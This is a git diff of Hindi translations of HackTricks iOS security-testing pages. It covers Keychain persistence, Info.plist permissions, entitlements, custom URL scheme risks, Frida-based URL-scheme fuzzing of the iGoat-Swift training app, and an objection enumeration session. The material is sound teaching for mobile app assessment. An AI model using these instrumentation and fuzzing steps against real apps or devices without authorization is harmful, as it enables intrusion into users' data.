ऐप-विशिष्ट डेटा के विपरीत जो ऐप अनइंस्टॉल होने पर हटा दिया जाता है, **Keychain डेटा डिवाइस पर बना रहता है**। यह विशेषता एक सेकंड-हैंड डिवाइस के नए मालिकों को पिछले मालिक के एप्लिकेशन डेटा तक पहुंचने में सक्षम बना सकती है, बस ऐप्स को फिर से इंस्टॉल करके। डेवलपर्स को इस जोखिम को कम करने के लिए ऐप इंस्टॉलेशन या लॉगआउट के दौरान Keychain डेटा को सक्रिय रूप से साफ करने की सलाह दी जाती है। यहाँ एक Swift कोड उदाहरण है जो पहले ऐप लॉन्च पर Keychain डेटा को साफ करने का प्रदर्शन करता है:
|
||||||
```swift
|
```swift
|
||||||
let userDefaults = UserDefaults.standard
|
let userDefaults = UserDefaults.standard
|
||||||
|
|
||||||
|
@ -95,44 +96,42 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||||
```
|
```
|
||||||
# **ऐप क्षमताएँ**
|
# **ऐप क्षमताएँ**
|
||||||
|
|
||||||
ऐप विकास के क्षेत्र में, **sandboxing** सुरक्षा को बढ़ाने में महत्वपूर्ण भूमिका निभाता है। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक ऐप अपनी खुद की अद्वितीय होम निर्देशिका के भीतर कार्य करता है, इससे यह रोकती है कि यह सिस्टम फ़ाइल या अन्य ऐप्स के डेटा तक पहुंचे। इन प्रतिबंधों की प्रवर्तन **Trusted BSD (MAC) Mandatory Access Control Framework** का हिस्सा है।
|
ऐप विकास के क्षेत्र में, **sandboxing** सुरक्षा बढ़ाने में एक महत्वपूर्ण भूमिका निभाता है। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक ऐप अपने अद्वितीय होम डायरेक्टरी के भीतर काम करता है, इस प्रकार इसे सिस्टम फ़ाइलों या अन्य ऐप्स के डेटा तक पहुँचने से रोकता है। इन प्रतिबंधों को लागू करने का कार्य **Trusted BSD (MAC) Mandatory Access Control Framework** के तहत किया जाता है।
|
||||||
|
|
||||||
डेवलपर्स को अपने ऐप्स के लिए कुछ **क्षमताएँ या अनुमतियाँ** कॉन्फ़िगर करने की क्षमता होती है, जैसे **डेटा संरक्षण** या **कीचेन साझाकरण**। ये अनुमतियाँ ऐप स्थापित होने के तुरंत बाद लागू होती हैं। फिर भी, कुछ संरक्षित संसाधनों तक पहुंचने के लिए, ऐप को पहली कोशिश के समय उपयोगकर्ता से स्पष्ट सहमति प्राप्त करनी चाहिए। यह _उद्देश्य स्ट्रिंग्स_ या _उपयोग विवरण स्ट्रिंग्स_ का उपयोग करके होता है, जो उपयोगकर्ताओं को एक अनुमति अनुरोध अलर्ट में प्रस्तुत किए जाते हैं।
|
डेवलपर्स अपने ऐप्स के लिए कुछ **क्षमताएँ या अनुमतियाँ** कॉन्फ़िगर करने में सक्षम होते हैं, जैसे **Data Protection** या **Keychain Sharing**। ये अनुमतियाँ ऐप के इंस्टॉल होते ही लागू हो जाती हैं। फिर भी, कुछ संरक्षित संसाधनों तक पहुँचने के लिए, ऐप को पहले प्रयास के समय उपयोगकर्ता से स्पष्ट सहमति प्राप्त करनी होती है। यह _purpose strings_ या _usage description strings_ के उपयोग के माध्यम से किया जाता है, जो उपयोगकर्ताओं को अनुमति अनुरोध अलर्ट में प्रस्तुत किए जाते हैं।
|
||||||
|
|
||||||
स्रोत कोड तक पहुंच वाले व्यक्तियों के लिए, `Info.plist` फ़ाइल में शामिल अनुमतियों की पुष्टि करने के लिए निम्नलिखित किया जा सकता है:
|
जिनके पास स्रोत कोड तक पहुँच है, वे `Info.plist` फ़ाइल में शामिल अनुमतियों की पुष्टि कर सकते हैं:
|
||||||
|
|
||||||
1. Xcode में परियोजना खोलें।
|
1. Xcode में प्रोजेक्ट खोलें।
|
||||||
2. `Info.plist` फ़ाइल को ढूंढें और खोलें।
|
2. `Info.plist` फ़ाइल को खोजें और खोलें।
|
||||||
3. स्पष्टता के लिए रॉ कुंजी / मान देखने के विकल्प के साथ `"Privacy -"` से उत्तरदाता की खोज करें।
|
3. स्पष्टता के लिए `"Privacy -"` से प्रारंभ होने वाले कुंजियों की खोज करें, कच्चे कुंजी/मान देखने का विकल्प के साथ।
|
||||||
|
|
||||||
IPA फ़ाइल के साथ काम करते समय, निम्नलिखित चरण अनुसरण किए जा सकते हैं:
|
IPA फ़ाइल के साथ काम करते समय, निम्नलिखित चरणों का पालन किया जा सकता है:
|
||||||
|
|
||||||
1. IPA को अनज़िप करें।
|
1. IPA को अनज़िप करें।
|
||||||
2. `Payload/<appname>.app/` के भीतर `Info.plist` फ़ाइल को ढूंढें।
|
2. `Payload/<appname>.app/` के भीतर `Info.plist` फ़ाइल को खोजें।
|
||||||
3. आवश्यक हो तो फ़ाइल को XML प्रारूप में परिवर्तित करें, जिससे इसे आसानी से जांचा जा सके।
|
3. यदि आवश्यक हो, तो फ़ाइल को XML प्रारूप में परिवर्तित करें, ताकि निरीक्षण करना आसान हो सके।
|
||||||
|
|
||||||
उदाहरण के लिए, `Info.plist` फ़ाइल में उद्देश्य स्ट्रिंग्स इस तरह दिख सकती हैं:
|
उदाहरण के लिए, `Info.plist` फ़ाइल में purpose strings इस प्रकार दिख सकते हैं:
|
||||||
```xml
|
```xml
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
<key>NSLocationWhenInUseUsageDescription</key>
|
<key>NSLocationWhenInUseUsageDescription</key>
|
||||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||||
```
|
```
|
||||||
## डिवाइस क्षमताएँ
|
## Device Capabilities
|
||||||
एक ऐप की `Info.plist` फ़ाइल डिवाइस संगतता के लिए ऐप स्टोर ऐप्स को फ़िल्टर करने में मदद करने वाली **डिवाइस क्षमताएँ** निर्दिष्ट करती हैं। ये **`UIRequiredDeviceCapabilities`** कुंजी के तहत परिभाषित की जाती हैं। उदाहरण के लिए:
|
The `Info.plist` फ़ाइल एक ऐप की **डिवाइस क्षमताएँ** निर्दिष्ट करती है जो ऐप स्टोर को डिवाइस संगतता के लिए ऐप्स को फ़िल्टर करने में मदद करती हैं। ये **`UIRequiredDeviceCapabilities`** कुंजी के तहत परिभाषित की गई हैं। उदाहरण के लिए:
|
||||||
```xml
|
```xml
|
||||||
<key>UIRequiredDeviceCapabilities</key>
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
<array>
|
<array>
|
||||||
<string>armv7</string>
|
<string>armv7</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
## उदाहरण
|
यह उदाहरण इंगित करता है कि ऐप armv7 निर्देश सेट के साथ संगत है। डेवलपर्स nfc जैसी क्षमताओं को निर्दिष्ट कर सकते हैं ताकि यह सुनिश्चित किया जा सके कि उनका ऐप केवल उन उपकरणों के लिए उपलब्ध है जो NFC का समर्थन करते हैं।
|
||||||
|
|
||||||
यह उदाहरण दिखाता है कि ऐप armv7 इंस्ट्रक्शन सेट के साथ संगत है। डेवलपर यह भी निर्दिष्ट कर सकते हैं कि उनका ऐप केवल NFC का समर्थन करने वाले डिवाइस पर ही उपलब्ध है।
|
|
||||||
|
|
||||||
## अधिकार
|
## अधिकार
|
||||||
|
|
||||||
**अधिकार** iOS ऐप विकास का एक और महत्वपूर्ण पहलू है, जो कुंजी-मान जोड़ी के रूप में काम करता है और ऐप्स को रनटाइम जांचों से परे कुछ ऑपरेशन करने की अनुमति देता है। उदाहरण के लिए, ऐप में **डेटा संरक्षण** को सक्षम करना एक विशेष अधिकार जोड़ने का मतलब है Xcode परियोजना में, जो फिर ऐप के अधिकार फ़ाइल या IPAs के लिए संबोधित मोबाइल प्राविधि फ़ाइल में प्रतिबिम्बित होता है।
|
**अधिकार** iOS ऐप विकास का एक और महत्वपूर्ण पहलू हैं, जो कुंजी-मूल्य जोड़े के रूप में कार्य करते हैं जो ऐप्स को रनटाइम जांचों से परे कुछ संचालन करने की अनुमति देते हैं। उदाहरण के लिए, एक ऐप में **डेटा सुरक्षा** सक्षम करने के लिए Xcode प्रोजेक्ट में एक विशिष्ट अधिकार जोड़ना शामिल है, जो फिर ऐप के अधिकार फ़ाइल या IPAs के लिए एम्बेडेड मोबाइल प्रावधान फ़ाइल में परिलक्षित होता है।
|
||||||
|
|
||||||
# संदर्भ
|
# संदर्भ
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||||||
|
@ -140,16 +139,17 @@ IPA फ़ाइल के साथ काम करते समय, निम
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में** दिखाई दे या **HackTricks को PDF में डाउनलोड** करें तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks को समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
यह एक सारांश है जो संबंधित जानकारी से है [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
यह संबंधित जानकारी का सारांश है [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||||
|
|
||||||
## मूल जानकारी
|
## मूल जानकारी
|
||||||
|
|
||||||
कस्टम URL स्कीम्स ऐप्स को एक कस्टम प्रोटोकॉल का उपयोग करके संचार करने की संभावना प्रदान करते हैं, जैसा कि [एप्पल डेवलपर डॉक्यूमेंटेशन](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1) में विस्तार से वर्णित है। इन स्कीम्स को ऐप द्वारा घोषित किया जाना चाहिए, जो फिर उन स्कीम्स का पालन करते हुए आने वाले URL को संभालता है। इस वेक्टर के माध्यम से हमलों से बचने के लिए **सभी URL पैरामीटरों की पुष्टि करना** और **किसी भी गलत URL को छोड़ देना** महत्वपूर्ण है।
|
कस्टम URL स्कीम ऐप्स को एक कस्टम प्रोटोकॉल का उपयोग करके संवाद करने की अनुमति देती हैं, जैसा कि [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1) में विस्तृत किया गया है। इन स्कीमों को ऐप द्वारा घोषित किया जाना चाहिए, जो फिर उन स्कीमों के अनुसार आने वाले URLs को संभालता है। सभी URL पैरामीटर को **मान्य करना** और **कोई भी गलत URL को अस्वीकार करना** महत्वपूर्ण है ताकि इस वेक्टर के माध्यम से हमलों को रोका जा सके।
|
||||||
|
|
||||||
एक उदाहरण दिया गया है जहां URI `myapp://hostname?data=123876123` एक विशिष्ट एप्लिकेशन क्रिया को आमंत्रित करता है। एक नोट किया गया वंर्नरेबिलिटी था Skype Mobile ऐप में, जिसने `skype://` प्रोटोकॉल के माध्यम से अनधिकृत कॉल क्रियाएँ संभावित की। पंजीकृत स्कीम्स ऐप के `Info.plist` में `CFBundleURLTypes` के तहत पाए जा सकते हैं। दुर्भाग्यपूर्ण एप्लिकेशन इसे उचित जानकारी को अंतर्ग्रहण करने के लिए URIs को पुनः पंजीकृत करके इसका शोषण कर सकते हैं।
|
एक उदाहरण दिया गया है जहां URI `myapp://hostname?data=123876123` एक विशिष्ट एप्लिकेशन क्रिया को सक्रिय करता है। एक ज्ञात भेद्यता Skype Mobile ऐप में थी, जिसने `skype://` प्रोटोकॉल के माध्यम से अनधिकृत कॉल क्रियाओं की अनुमति दी। पंजीकृत स्कीमों को ऐप के `Info.plist` में `CFBundleURLTypes` के तहत पाया जा सकता है। दुर्भावनापूर्ण ऐप्स इसको संवेदनशील जानकारी को इंटरसेप्ट करने के लिए URIs को फिर से पंजीकृत करके शोषण कर सकते हैं।
|
||||||
|
|
||||||
### एप्लिकेशन क्वेरी स्कीम्स पंजीकरण
|
### एप्लिकेशन क्वेरी स्कीम पंजीकरण
|
||||||
|
|
||||||
iOS 9.0 से, किसी एप्लिकेशन की उपलब्धता की जांच के लिए, `canOpenURL:` में URL स्कीम्स की घोषणा करने की आवश्यकता होती है `Info.plist` के तहत `LSApplicationQueriesSchemes` के तहत। इससे एक ऐप को 50 तक की सीमा तक सीमित किया जाता है, जिससे ऐप अंकगणित को रोककर गोपनीयता को बढ़ावा देता है।
|
iOS 9.0 से, यह जांचने के लिए कि क्या एक ऐप उपलब्ध है, `canOpenURL:` को `Info.plist` में `LSApplicationQueriesSchemes` के तहत URL स्कीमों की घोषणा करने की आवश्यकता होती है। यह एक ऐप द्वारा क्वेरी की जा सकने वाली स्कीमों को 50 तक सीमित करता है, जिससे ऐप enumeration को रोककर गोपनीयता बढ़ती है।
|
||||||
```xml
|
```xml
|
||||||
<key>LSApplicationQueriesSchemes</key>
|
<key>LSApplicationQueriesSchemes</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -30,9 +31,9 @@ iOS 9.0 से, किसी एप्लिकेशन की उपलब्
|
||||||
<string>url_scheme2</string>
|
<string>url_scheme2</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
### परीक्षण URL हैंडलिंग और मान्यता
|
### Testing URL Handling and Validation
|
||||||
|
|
||||||
डेवलपर्स को URL पथ निर्माण और मान्यता को समझने के लिए स्रोत कोड में विशिष्ट विधियों की जांच करनी चाहिए, जैसे `application:didFinishLaunchingWithOptions:` और `application:openURL:options:`। उदाहरण के लिए, टेलीग्राम विभिन्न विधियों का उपयोग URL खोलने के लिए करता है:
|
डेवलपर्स को URL पथ निर्माण और मान्यता को समझने के लिए स्रोत कोड में विशिष्ट विधियों का निरीक्षण करना चाहिए, जैसे `application:didFinishLaunchingWithOptions:` और `application:openURL:options:`। उदाहरण के लिए, Telegram URL खोलने के लिए विभिन्न विधियों का उपयोग करता है:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||||
self.openUrl(url: url)
|
self.openUrl(url: url)
|
||||||
|
@ -58,9 +59,15 @@ return true
|
||||||
```
|
```
|
||||||
### अन्य ऐप्स के लिए URL अनुरोधों का परीक्षण
|
### अन्य ऐप्स के लिए URL अनुरोधों का परीक्षण
|
||||||
|
|
||||||
`openURL:options:completionHandler:` जैसी विधियाँ अन्य ऐप्स के साथ संवाद करने के लिए URL खोलने के लिए महत्वपूर्ण हैं। ऐप के स्रोत कोड में इस प्रकार की विधियों की पहचान सुरक्षा संबंधित विचारों के लिए महत्वपूर्ण है।
|
`openURL:options:completionHandler:` जैसे तरीके अन्य ऐप्स के साथ बातचीत करने के लिए URLs खोलने के लिए महत्वपूर्ण हैं। ऐप के स्रोत कोड में ऐसे तरीकों का उपयोग पहचानना बाहरी संचार को समझने के लिए कुंजी है।
|
||||||
|
|
||||||
### पुरानी विध
|
### अप्रचलित तरीकों का परीक्षण
|
||||||
|
|
||||||
|
URL खोलने से संबंधित अप्रचलित तरीके, जैसे `application:handleOpenURL:` और `openURL:`, की पहचान की जानी चाहिए और सुरक्षा निहितार्थों के लिए समीक्षा की जानी चाहिए।
|
||||||
|
|
||||||
|
### URL स्कीम्स का फज़िंग
|
||||||
|
|
||||||
|
URL स्कीम्स का फज़िंग मेमोरी भ्रष्टाचार बग्स की पहचान कर सकता है। [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) जैसे उपकरण इस प्रक्रिया को स्वचालित कर सकते हैं, विभिन्न पेलोड के साथ URLs खोलकर क्रैश की निगरानी करने के लिए, जिसे iGoat-Swift ऐप में URLs के हेरफेर द्वारा उदाहरणित किया गया है:
|
||||||
```bash
|
```bash
|
||||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||||
|
@ -71,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,37 +1,37 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
इस खंड के लिए उपकरण [**Objection**](https://github.com/sensepost/objection) का उपयोग किया जाएगा।\
|
इस अनुभाग के लिए उपकरण [**Objection**](https://github.com/sensepost/objection) का उपयोग किया जाएगा।\
|
||||||
किसी चीज को निष्पादित करने के लिए एक आपत्ति का सत्र प्रारंभ करें:
|
कुछ इस तरह से एक objection का सत्र शुरू करें:
|
||||||
```bash
|
```bash
|
||||||
objection -d --gadget "iGoat-Swift" explore
|
objection -d --gadget "iGoat-Swift" explore
|
||||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||||
```
|
```
|
||||||
```
|
You can execute also `frida-ps -Uia` to check the running processes of the phone.
|
||||||
आप फोन के चल रहे प्रक्रियाओं की जांच के लिए `frida-ps -Uia` भी चला सकते हैं।
|
|
||||||
|
|
||||||
# ऐप की मूल सूचीकरण
|
# Basic Enumeration of the app
|
||||||
|
|
||||||
## स्थानीय ऐप पथ
|
## Local App Paths
|
||||||
|
|
||||||
* `env`: डिवाइस के अंदर ऐप्लिकेशन स्टोर किए गए स्थानों को खोजें
|
* `env`: डिवाइस के अंदर एप्लिकेशन के संग्रहित पथों को खोजें
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
env
|
env
|
||||||
|
|
||||||
नाम पथ
|
Name Path
|
||||||
----------------- -----------------------------------------------------------------------------------------------
|
----------------- -----------------------------------------------------------------------------------------------
|
||||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||||
|
